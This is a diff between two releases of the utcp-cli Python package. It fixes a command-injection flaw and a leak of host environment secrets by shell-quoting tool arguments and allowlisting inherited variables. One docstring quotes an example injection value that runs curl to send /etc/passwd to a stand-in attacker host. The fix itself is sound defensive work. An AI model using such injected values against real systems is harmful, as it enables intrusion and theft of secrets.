utcp-cli 1.1.0__tar.gz → 1.1.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/PKG-INFO +2 -2
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/pyproject.toml +2 -2
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli/cli_call_template.py +107 -18
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli/cli_communication_protocol.py +110 -17
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/PKG-INFO +2 -2
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/SOURCES.txt +2 -1
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/requires.txt +1 -1
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/tests/test_cli_communication_protocol.py +749 -749
- utcp_cli-1.1.2/tests/test_security.py +420 -0
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/README.md +0 -0
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/setup.cfg +0 -0
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli/__init__.py +0 -0
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/dependency_links.txt +0 -0
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/entry_points.txt +0 -0
- {utcp_cli-1.1.0 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/top_level.txt +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: utcp-cli
|
|
3
|
-
Version: 1.1.
|
|
3
|
+
Version: 1.1.2
|
|
4
4
|
Summary: UTCP communication protocol plugin for wrapping local command-line tools.
|
|
5
5
|
Author: UTCP Contributors
|
|
6
6
|
License-Expression: MPL-2.0
|
|
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
|
|
|
15
15
|
Description-Content-Type: text/markdown
|
|
16
16
|
Requires-Dist: pydantic>=2.0
|
|
17
17
|
Requires-Dist: pyyaml>=6.0
|
|
18
|
-
Requires-Dist: utcp>=1.
|
|
18
|
+
Requires-Dist: utcp>=1.1
|
|
19
19
|
Provides-Extra: dev
|
|
20
20
|
Requires-Dist: build; extra == "dev"
|
|
21
21
|
Requires-Dist: pytest; extra == "dev"
|
|
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "utcp-cli"
|
|
7
|
-
version = "1.1.
|
|
7
|
+
version = "1.1.2"
|
|
8
8
|
authors = [
|
|
9
9
|
{ name = "UTCP Contributors" },
|
|
10
10
|
]
|
|
@@ -14,7 +14,7 @@ requires-python = ">=3.10"
|
|
|
14
14
|
dependencies = [
|
|
15
15
|
"pydantic>=2.0",
|
|
16
16
|
"pyyaml>=6.0",
|
|
17
|
-
"utcp>=1.
|
|
17
|
+
"utcp>=1.1"
|
|
18
18
|
]
|
|
19
19
|
classifiers = [
|
|
20
20
|
"Development Status :: 4 - Beta",
|
|
@@ -7,16 +7,27 @@ from utcp.exceptions import UtcpSerializerValidationError
|
|
|
7
7
|
import traceback
|
|
8
8
|
|
|
9
9
|
class CommandStep(BaseModel):
|
|
10
|
-
"""
|
|
11
|
-
|
|
10
|
+
"""REQUIRED
|
|
11
|
+
Configuration for a single command step in a CLI execution flow.
|
|
12
|
+
|
|
12
13
|
Attributes:
|
|
13
14
|
command: The command string to execute. Can contain UTCP_ARG_argname_UTCP_END
|
|
14
15
|
placeholders that will be replaced with values from tool_args. Can also
|
|
15
16
|
reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
|
|
17
|
+
|
|
18
|
+
Placeholder substitution is shell-quoted (`shlex.quote` on Unix,
|
|
19
|
+
PowerShell single-quoted literals on Windows) so that
|
|
20
|
+
`tool_args` values cannot inject extra commands. As a
|
|
21
|
+
consequence, each `UTCP_ARG_..._UTCP_END` placeholder always
|
|
22
|
+
expands to **exactly one shell token**. Tools that previously
|
|
23
|
+
relied on a single placeholder splitting into multiple flags
|
|
24
|
+
(e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now
|
|
25
|
+
use one placeholder per intended flag. This change ships with
|
|
26
|
+
utcp-cli 1.1.2 and addresses GHSA-33p6-5jxp-p3x4.
|
|
16
27
|
append_to_final_output: Whether this command's output should be included
|
|
17
28
|
in the final result. If not specified, defaults to False for all
|
|
18
29
|
commands except the last one.
|
|
19
|
-
|
|
30
|
+
|
|
20
31
|
Examples:
|
|
21
32
|
Basic command step:
|
|
22
33
|
```json
|
|
@@ -25,7 +36,7 @@ class CommandStep(BaseModel):
|
|
|
25
36
|
"append_to_final_output": true
|
|
26
37
|
}
|
|
27
38
|
```
|
|
28
|
-
|
|
39
|
+
|
|
29
40
|
Command with argument placeholders and output reference:
|
|
30
41
|
```json
|
|
31
42
|
{
|
|
@@ -35,10 +46,15 @@ class CommandStep(BaseModel):
|
|
|
35
46
|
```
|
|
36
47
|
"""
|
|
37
48
|
command: str = Field(
|
|
38
|
-
description=
|
|
49
|
+
description=(
|
|
50
|
+
"Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
|
|
51
|
+
"placeholders. Each placeholder is shell-quoted at substitution "
|
|
52
|
+
"time and therefore expands to exactly one shell token; use one "
|
|
53
|
+
"placeholder per intended argument."
|
|
54
|
+
)
|
|
39
55
|
)
|
|
40
56
|
append_to_final_output: Optional[bool] = Field(
|
|
41
|
-
default=None,
|
|
57
|
+
default=None,
|
|
42
58
|
description="Whether to include this command's output in final result. Defaults to False for all except last command"
|
|
43
59
|
)
|
|
44
60
|
|
|
@@ -53,26 +69,76 @@ class CliCallTemplate(CallTemplate):
|
|
|
53
69
|
**Cross-Platform Script Generation:**
|
|
54
70
|
- **Windows**: Commands are converted to a PowerShell script
|
|
55
71
|
- **Unix/Linux/macOS**: Commands are converted to a Bash script
|
|
56
|
-
|
|
72
|
+
|
|
57
73
|
**Command Syntax Requirements:**
|
|
58
74
|
- Windows: Use PowerShell syntax (e.g., `Get-ChildItem`, `Set-Location`)
|
|
59
75
|
- Unix: Use Bash/shell syntax (e.g., `ls`, `cd`)
|
|
60
|
-
|
|
76
|
+
|
|
61
77
|
**Referencing Previous Command Output:**
|
|
62
78
|
You can reference the output of previous commands using variables:
|
|
63
79
|
- **PowerShell**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
|
|
64
80
|
- **Bash**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
|
|
65
|
-
|
|
81
|
+
|
|
66
82
|
Example: `echo "Previous result: $CMD_0_OUTPUT"`
|
|
67
83
|
|
|
84
|
+
**Argument Substitution and Quoting (utcp-cli >= 1.1.2):**
|
|
85
|
+
`UTCP_ARG_argname_UTCP_END` placeholders are replaced with the
|
|
86
|
+
corresponding `tool_args` value, shell-quoted for the target shell
|
|
87
|
+
(`shlex.quote` on Unix, PowerShell single-quoted literal on Windows).
|
|
88
|
+
Each placeholder therefore expands to exactly one shell token. If a
|
|
89
|
+
tool needs multiple flags or arguments, define multiple placeholders
|
|
90
|
+
(one per flag) instead of relying on a single placeholder splitting
|
|
91
|
+
on whitespace. This change closes the command-injection vector
|
|
92
|
+
tracked as GHSA-33p6-5jxp-p3x4.
|
|
93
|
+
|
|
94
|
+
**Subprocess Environment (utcp-cli >= 1.1.2):**
|
|
95
|
+
The CLI subprocess no longer inherits the full host environment.
|
|
96
|
+
Inheritance is controlled by `inherit_env_vars`:
|
|
97
|
+
- Omitted / `null`: a built-in default allowlist of host variables
|
|
98
|
+
is passed through (e.g. `PATH`, `PATHEXT`, `SYSTEMROOT`, `HOME`,
|
|
99
|
+
`LANG`) so shells and binaries can be located normally.
|
|
100
|
+
- `[]`: strict mode — nothing from the host environment is
|
|
101
|
+
inherited; only `env_vars` is propagated.
|
|
102
|
+
- `["FOO", "BAR"]`: exactly those host variables are passed
|
|
103
|
+
through. The default allowlist is NOT merged in, so callers that
|
|
104
|
+
still need `PATH` must list it explicitly.
|
|
105
|
+
`env_vars` is always applied on top and overrides any inherited
|
|
106
|
+
value. Values in `env_vars` may be plain strings or `${VARNAME}`
|
|
107
|
+
style placeholders resolved by the UTCP client's variable
|
|
108
|
+
substitutor (note: those placeholders are resolved against the UTCP
|
|
109
|
+
client's variable sources, not against the host shell — to forward
|
|
110
|
+
a host variable by name use `inherit_env_vars`). This closes the
|
|
111
|
+
secret-exfiltration vector tracked as GHSA-5v57-8rxj-3p2r.
|
|
112
|
+
|
|
68
113
|
Attributes:
|
|
69
114
|
call_template_type: The type of the call template. Must be "cli".
|
|
70
115
|
commands: A list of CommandStep objects defining the commands to execute
|
|
71
116
|
in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders
|
|
72
117
|
that will be replaced with values from tool_args during execution.
|
|
118
|
+
Placeholders are shell-quoted and therefore expand to exactly one
|
|
119
|
+
shell token (see class docstring).
|
|
73
120
|
env_vars: A dictionary of environment variables to set for the command's
|
|
74
121
|
execution context. Values can be static strings or placeholders for
|
|
75
|
-
variables from the UTCP client's variable substitutor.
|
|
122
|
+
variables from the UTCP client's variable substitutor. Always
|
|
123
|
+
propagated; overrides anything inherited from the host.
|
|
124
|
+
inherit_env_vars: Controls which host environment variables are
|
|
125
|
+
passed through to the subprocess.
|
|
126
|
+
- `None` (default): the built-in default allowlist
|
|
127
|
+
(`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`,
|
|
128
|
+
`SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is
|
|
129
|
+
inherited so shells and binaries work without extra
|
|
130
|
+
configuration.
|
|
131
|
+
- `[]`: strict mode — no host variables are inherited at
|
|
132
|
+
all. Only `env_vars` reaches the subprocess.
|
|
133
|
+
- `["FOO", "BAR"]`: exactly those host variables are
|
|
134
|
+
inherited. The default allowlist is replaced, not
|
|
135
|
+
extended, so include `PATH` (and any other required
|
|
136
|
+
shell vars) yourself if needed.
|
|
137
|
+
Variables named here that are not set on the host are
|
|
138
|
+
silently skipped. Use this to expose specific host secrets
|
|
139
|
+
such as `OPENAI_API_KEY`, `AWS_PROFILE`, `PYTHONPATH`, or
|
|
140
|
+
`NODE_PATH` without putting their values in the call
|
|
141
|
+
template.
|
|
76
142
|
working_dir: The working directory from which to run the commands. If not
|
|
77
143
|
provided, it defaults to the current process's working directory.
|
|
78
144
|
auth: Authentication details. Not applicable to the CLI protocol, so it
|
|
@@ -96,7 +162,7 @@ class CliCallTemplate(CallTemplate):
|
|
|
96
162
|
]
|
|
97
163
|
}
|
|
98
164
|
```
|
|
99
|
-
|
|
165
|
+
|
|
100
166
|
Referencing previous command output:
|
|
101
167
|
```json
|
|
102
168
|
{
|
|
@@ -115,7 +181,7 @@ class CliCallTemplate(CallTemplate):
|
|
|
115
181
|
}
|
|
116
182
|
```
|
|
117
183
|
|
|
118
|
-
Command with environment variables and placeholders:
|
|
184
|
+
Command with environment variables, host pass-through, and placeholders:
|
|
119
185
|
```json
|
|
120
186
|
{
|
|
121
187
|
"name": "python_multi_step_tool",
|
|
@@ -132,16 +198,19 @@ class CliCallTemplate(CallTemplate):
|
|
|
132
198
|
"env_vars": {
|
|
133
199
|
"PYTHONPATH": "/custom/path",
|
|
134
200
|
"API_KEY": "${API_KEY_VAR}"
|
|
135
|
-
}
|
|
201
|
+
},
|
|
202
|
+
"inherit_env_vars": ["OPENAI_API_KEY", "AWS_PROFILE"]
|
|
136
203
|
}
|
|
137
204
|
```
|
|
138
205
|
|
|
139
206
|
Security Considerations:
|
|
140
207
|
- Commands are executed in a subprocess. Ensure that the commands
|
|
141
208
|
specified are from a trusted source.
|
|
142
|
-
-
|
|
143
|
-
|
|
144
|
-
|
|
209
|
+
- `tool_args` values are shell-quoted on substitution, but the
|
|
210
|
+
*command template itself* is not — never assemble it from
|
|
211
|
+
untrusted input.
|
|
212
|
+
- The host environment is restricted; secrets are not propagated
|
|
213
|
+
unless explicitly named in `env_vars` or `inherit_env_vars`.
|
|
145
214
|
- Commands should use the appropriate syntax for the target platform
|
|
146
215
|
(PowerShell on Windows, Bash on Unix).
|
|
147
216
|
- Previous command outputs are available as variables but should be
|
|
@@ -150,10 +219,30 @@ class CliCallTemplate(CallTemplate):
|
|
|
150
219
|
|
|
151
220
|
call_template_type: Literal["cli"] = "cli"
|
|
152
221
|
commands: List[CommandStep] = Field(
|
|
153
|
-
description=
|
|
222
|
+
description=(
|
|
223
|
+
"List of commands to execute in order. Each command can contain "
|
|
224
|
+
"UTCP_ARG_argname_UTCP_END placeholders, which are shell-quoted "
|
|
225
|
+
"on substitution and therefore expand to exactly one shell token."
|
|
226
|
+
)
|
|
154
227
|
)
|
|
155
228
|
env_vars: Optional[Dict[str, str]] = Field(
|
|
156
|
-
default=None,
|
|
229
|
+
default=None,
|
|
230
|
+
description=(
|
|
231
|
+
"Environment variables to set when executing the commands. Always "
|
|
232
|
+
"propagated to the subprocess and override values inherited from "
|
|
233
|
+
"the host."
|
|
234
|
+
)
|
|
235
|
+
)
|
|
236
|
+
inherit_env_vars: Optional[List[str]] = Field(
|
|
237
|
+
default=None,
|
|
238
|
+
description=(
|
|
239
|
+
"Controls host environment inheritance. None (default) inherits "
|
|
240
|
+
"a built-in safe allowlist (PATH, HOME / PATHEXT, SYSTEMROOT, "
|
|
241
|
+
"etc.). [] disables host inheritance entirely. A list of names "
|
|
242
|
+
"replaces the default allowlist with exactly those variables, so "
|
|
243
|
+
"include PATH explicitly if your tool needs it. Names not set on "
|
|
244
|
+
"the host are skipped silently."
|
|
245
|
+
)
|
|
157
246
|
)
|
|
158
247
|
working_dir: Optional[str] = Field(
|
|
159
248
|
default=None, description="Working directory for command execution"
|
|
@@ -10,7 +10,6 @@ Key Features:
|
|
|
10
10
|
- Tool discovery by running a command that outputs a UTCP manual.
|
|
11
11
|
- Flexible argument formatting for different CLI conventions.
|
|
12
12
|
- Support for environment variables and custom working directories.
|
|
13
|
-
- Automatic parsing of JSON output with a fallback to raw text.
|
|
14
13
|
- Cross-platform command parsing for Windows and Unix-like systems.
|
|
15
14
|
|
|
16
15
|
Security Considerations:
|
|
@@ -62,22 +61,89 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
62
61
|
"""Log error messages."""
|
|
63
62
|
logger.error(f"[CliCommunicationProtocol Error] {message}")
|
|
64
63
|
|
|
64
|
+
# Default set of host environment variables propagated to the CLI
|
|
65
|
+
# subprocess when `CliCallTemplate.inherit_env_vars` is not provided
|
|
66
|
+
# (i.e. None). Locating binaries (`PATH` / `PATHEXT`), basic shell +
|
|
67
|
+
# locale state, and Windows runtime paths are needed for almost any
|
|
68
|
+
# tool to start. Anything else (cloud creds, API keys, internal
|
|
69
|
+
# tokens) must be opted in by listing the variable name explicitly in
|
|
70
|
+
# `inherit_env_vars`, or its value provided in `env_vars`.
|
|
71
|
+
#
|
|
72
|
+
# If `inherit_env_vars == []`, the caller is opting into strict mode
|
|
73
|
+
# and NOTHING is inherited from the host — only `env_vars` reaches the
|
|
74
|
+
# subprocess.
|
|
75
|
+
#
|
|
76
|
+
# Backs GHSA-5v57-8rxj-3p2r: the previous implementation handed
|
|
77
|
+
# `os.environ.copy()` to the subprocess, which combined with the
|
|
78
|
+
# command injection in `_substitute_utcp_args`
|
|
79
|
+
# (GHSA-33p6-5jxp-p3x4) let an attacker exfiltrate every secret in
|
|
80
|
+
# the host process.
|
|
81
|
+
_DEFAULT_INHERITED_KEYS_UNIX: tuple = (
|
|
82
|
+
"PATH", "HOME", "LANG", "LC_ALL", "LC_CTYPE", "USER", "LOGNAME",
|
|
83
|
+
"SHELL", "TZ", "TERM",
|
|
84
|
+
)
|
|
85
|
+
_DEFAULT_INHERITED_KEYS_WINDOWS: tuple = (
|
|
86
|
+
"PATH", "PATHEXT", "SYSTEMROOT", "SYSTEMDRIVE", "WINDIR", "COMSPEC",
|
|
87
|
+
"TEMP", "TMP", "USERPROFILE", "USERNAME", "USERDOMAIN", "COMPUTERNAME",
|
|
88
|
+
"HOMEDRIVE", "HOMEPATH", "APPDATA", "LOCALAPPDATA", "PROGRAMDATA",
|
|
89
|
+
"PROGRAMFILES", "PROGRAMFILES(X86)", "PROGRAMW6432", "OS",
|
|
90
|
+
"PROCESSOR_ARCHITECTURE", "NUMBER_OF_PROCESSORS",
|
|
91
|
+
)
|
|
92
|
+
|
|
93
|
+
@classmethod
|
|
94
|
+
def _default_inherited_keys(cls) -> tuple:
|
|
95
|
+
"""Return the platform-appropriate default inheritance list."""
|
|
96
|
+
if os.name == 'nt':
|
|
97
|
+
return cls._DEFAULT_INHERITED_KEYS_WINDOWS
|
|
98
|
+
return cls._DEFAULT_INHERITED_KEYS_UNIX
|
|
99
|
+
|
|
65
100
|
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
|
|
66
101
|
"""Prepare environment variables for command execution.
|
|
67
|
-
|
|
102
|
+
|
|
103
|
+
Composes the subprocess environment with one layer of host
|
|
104
|
+
inheritance (controlled by `provider.inherit_env_vars`) plus
|
|
105
|
+
`provider.env_vars` on top:
|
|
106
|
+
|
|
107
|
+
- `inherit_env_vars is None` (default): pass through the
|
|
108
|
+
built-in default allowlist of host vars (PATH, HOME / PATHEXT,
|
|
109
|
+
SYSTEMROOT, etc.) so normal shells and binaries work without
|
|
110
|
+
extra wiring.
|
|
111
|
+
- `inherit_env_vars == []`: strict mode. Nothing from the host
|
|
112
|
+
environment reaches the subprocess — only `env_vars`.
|
|
113
|
+
- `inherit_env_vars == [...]`: pass through exactly the named
|
|
114
|
+
host variables. The default allowlist is NOT merged in, so
|
|
115
|
+
callers who still want PATH must include it explicitly.
|
|
116
|
+
|
|
117
|
+
`env_vars` is always applied last and overrides anything inherited
|
|
118
|
+
from the host.
|
|
119
|
+
|
|
120
|
+
This prevents the unrestricted host environment from leaking into
|
|
121
|
+
a subprocess that may be running attacker-controlled commands
|
|
122
|
+
(GHSA-5v57-8rxj-3p2r).
|
|
123
|
+
|
|
68
124
|
Args:
|
|
69
125
|
provider: The CLI provider
|
|
70
|
-
|
|
126
|
+
|
|
71
127
|
Returns:
|
|
72
128
|
Environment variables dictionary
|
|
73
129
|
"""
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
130
|
+
if provider.inherit_env_vars is None:
|
|
131
|
+
inherited_keys: tuple = self._default_inherited_keys()
|
|
132
|
+
else:
|
|
133
|
+
inherited_keys = tuple(provider.inherit_env_vars)
|
|
134
|
+
|
|
135
|
+
env: Dict[str, str] = {}
|
|
136
|
+
for key in inherited_keys:
|
|
137
|
+
value = os.environ.get(key)
|
|
138
|
+
if value is not None:
|
|
139
|
+
env[key] = value
|
|
140
|
+
|
|
141
|
+
# Caller-supplied variables override anything inherited from the
|
|
142
|
+
# host. Unset host vars in `inherited_keys` are skipped silently
|
|
143
|
+
# so missing optionals don't break tool execution.
|
|
78
144
|
if provider.env_vars:
|
|
79
145
|
env.update(provider.env_vars)
|
|
80
|
-
|
|
146
|
+
|
|
81
147
|
return env
|
|
82
148
|
|
|
83
149
|
async def _execute_command(
|
|
@@ -256,27 +322,55 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
256
322
|
f"Deregistering CLI manual '{manual_call_template.name}' (no-op)"
|
|
257
323
|
)
|
|
258
324
|
|
|
325
|
+
@staticmethod
|
|
326
|
+
def _shell_quote(value: str) -> str:
|
|
327
|
+
"""Quote a single value so it is interpreted as one literal token by
|
|
328
|
+
the target shell (`bash` on Unix, `powershell.exe` on Windows).
|
|
329
|
+
|
|
330
|
+
On Unix we delegate to `shlex.quote`. On Windows we wrap the value in
|
|
331
|
+
a PowerShell single-quoted literal: inside such a literal everything
|
|
332
|
+
is taken verbatim except `'` itself, which is escaped by doubling
|
|
333
|
+
(`''`). This blocks the metacharacters PowerShell would otherwise
|
|
334
|
+
interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
|
|
335
|
+
breaks).
|
|
336
|
+
|
|
337
|
+
Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
|
|
338
|
+
`str(tool_args[arg_name])` directly into the shell script, which
|
|
339
|
+
allowed arbitrary command injection (e.g.
|
|
340
|
+
`"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
|
|
341
|
+
"""
|
|
342
|
+
if os.name == 'nt':
|
|
343
|
+
return "'" + value.replace("'", "''") + "'"
|
|
344
|
+
return shlex.quote(value)
|
|
345
|
+
|
|
259
346
|
def _substitute_utcp_args(self, command: str, tool_args: Dict[str, Any]) -> str:
|
|
260
347
|
"""Substitute UTCP_ARG placeholders in command string with tool arguments.
|
|
261
|
-
|
|
348
|
+
|
|
349
|
+
Each substituted value is shell-quoted for the target shell so that
|
|
350
|
+
attacker-controlled `tool_args` cannot escape the placeholder and
|
|
351
|
+
inject extra commands. As a side effect, a placeholder always
|
|
352
|
+
expands to exactly one shell token: callers that need to pass
|
|
353
|
+
multiple flags / arguments must use multiple placeholders rather
|
|
354
|
+
than splitting a single string at runtime.
|
|
355
|
+
|
|
262
356
|
Args:
|
|
263
357
|
command: Command string containing UTCP_ARG_argname_UTCP_END placeholders
|
|
264
358
|
tool_args: Dictionary of argument names and values
|
|
265
|
-
|
|
359
|
+
|
|
266
360
|
Returns:
|
|
267
|
-
Command string with placeholders replaced by
|
|
361
|
+
Command string with placeholders replaced by shell-quoted values
|
|
268
362
|
"""
|
|
269
363
|
# Pattern to match UTCP_ARG_argname_UTCP_END
|
|
270
364
|
pattern = r'UTCP_ARG_(.+?)_UTCP_END'
|
|
271
|
-
|
|
365
|
+
|
|
272
366
|
def replace_placeholder(match):
|
|
273
367
|
arg_name = match.group(1)
|
|
274
368
|
if arg_name in tool_args:
|
|
275
|
-
return str(tool_args[arg_name])
|
|
369
|
+
return self._shell_quote(str(tool_args[arg_name]))
|
|
276
370
|
else:
|
|
277
371
|
self._log_error(f"Missing argument '{arg_name}' for placeholder in command: {command}")
|
|
278
|
-
return f"MISSING_ARG_{arg_name}"
|
|
279
|
-
|
|
372
|
+
return self._shell_quote(f"MISSING_ARG_{arg_name}")
|
|
373
|
+
|
|
280
374
|
return re.sub(pattern, replace_placeholder, command)
|
|
281
375
|
|
|
282
376
|
def _build_combined_shell_script(self, commands: List[CommandStep], tool_args: Dict[str, Any]) -> str:
|
|
@@ -588,8 +682,7 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
588
682
|
Returns:
|
|
589
683
|
The result of the command execution. If the command exits with a code
|
|
590
684
|
of 0, it returns the content of stdout. If the exit code is non-zero,
|
|
591
|
-
it returns the content of stderr.
|
|
592
|
-
possible; otherwise, it is returned as a raw string.
|
|
685
|
+
it returns the content of stderr.
|
|
593
686
|
|
|
594
687
|
Raises:
|
|
595
688
|
ValueError: If `tool_call_template` is not an instance of
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: utcp-cli
|
|
3
|
-
Version: 1.1.
|
|
3
|
+
Version: 1.1.2
|
|
4
4
|
Summary: UTCP communication protocol plugin for wrapping local command-line tools.
|
|
5
5
|
Author: UTCP Contributors
|
|
6
6
|
License-Expression: MPL-2.0
|
|
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
|
|
|
15
15
|
Description-Content-Type: text/markdown
|
|
16
16
|
Requires-Dist: pydantic>=2.0
|
|
17
17
|
Requires-Dist: pyyaml>=6.0
|
|
18
|
-
Requires-Dist: utcp>=1.
|
|
18
|
+
Requires-Dist: utcp>=1.1
|
|
19
19
|
Provides-Extra: dev
|
|
20
20
|
Requires-Dist: build; extra == "dev"
|
|
21
21
|
Requires-Dist: pytest; extra == "dev"
|
|
@@ -9,4 +9,5 @@ src/utcp_cli.egg-info/dependency_links.txt
|
|
|
9
9
|
src/utcp_cli.egg-info/entry_points.txt
|
|
10
10
|
src/utcp_cli.egg-info/requires.txt
|
|
11
11
|
src/utcp_cli.egg-info/top_level.txt
|
|
12
|
-
tests/test_cli_communication_protocol.py
|
|
12
|
+
tests/test_cli_communication_protocol.py
|
|
13
|
+
tests/test_security.py
|